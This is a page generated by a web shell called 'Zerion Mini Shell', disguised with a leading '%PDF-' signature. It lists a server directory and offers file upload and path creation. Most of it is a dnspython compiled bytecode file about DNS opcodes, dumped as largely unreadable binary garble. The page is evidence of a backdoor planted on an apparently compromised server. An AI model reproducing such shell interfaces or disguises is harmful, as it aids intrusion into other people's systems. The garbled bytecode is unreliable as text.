%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/dns/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/dns/__pycache__/opcode.cpython-312.pyc

�

5��e�
��\�dZddlZddlZGd�dejj
�ZGd�dejj�Z	de
defd	�Zd
edefd�Z
dedefd
�Zdede
fd�Zd
edefd�Zej$Zej&Zej(Zej*Zej,Zy)zDNS Opcodes.�Nc�@�eZdZdZdZdZdZdZed��Z	ed��Z
y)	�Opcoder����c��y)N����clss �,/usr/lib/python3/dist-packages/dns/opcode.py�_maximumzOpcode._maximum$s���c��tS)N)�
UnknownOpcoders r�_unknown_exception_classzOpcode._unknown_exception_class(s���rN)�__name__�
__module__�__qualname__�QUERY�IQUERY�STATUS�NOTIFY�UPDATE�classmethodrrrrrrrsA��
�E�
�F�
�F�
�F�
�F��������rrc��eZdZdZy)rzAn DNS opcode is unknown.N)rrr�__doc__rrrrr-s��#rr�text�returnc�,�tj|�S)z�Convert text into an opcode.

    *text*, a ``str``, the textual opcode

    Raises ``dns.opcode.UnknownOpcode`` if the opcode is unknown.

    Returns an ``int``.
    )r�	from_text)rs rr"r"1s�����D�!�!r�flagsc�$�t|dzdz	�S)zpExtract an opcode from DNS message flags.

    *flags*, an ``int``, the DNS flags.

    Returns an ``int``.
    �x�)r�r#s r�
from_flagsr(>s���5�6�>�b�(�)�)r�valuec��|dzdzS)z�Convert an opcode to a value suitable for ORing into DNS message
    flags.

    *value*, an ``int``, the DNS opcode value.

    Returns an ``int``.
    r&r%r�r)s r�to_flagsr,Is��
�R�K�6�!�!rc�,�tj|�S)z�Convert an opcode to text.

    *value*, an ``int`` the opcode value,

    Raises ``dns.opcode.UnknownOpcode`` if the opcode is unknown.

    Returns a ``str``.
    )r�to_textr+s rr.r.Us���>�>�%� � rc�:�t|�tjk(S)zmIs the opcode in flags UPDATE?

    *flags*, an ``int``, the DNS message flags.

    Returns a ``bool``.
    )r(rrr's r�	is_updater0bs���e���
�
�-�-r)r�dns.enum�dns�
dns.exception�enum�IntEnumr�	exception�DNSExceptionr�strr"�intr(r,r.�boolr0rrrrrrrr�<module>r;s���$����S�X�X�
�
��*$�C�M�M�.�.�$�
"�C�
"�F�
"�*�c�*�f�*�	"�F�	"�s�	"�
!�6�
!�c�
!�.�S�.�T�.�	����	����	����	����	���r

Zerion Mini Shell 1.0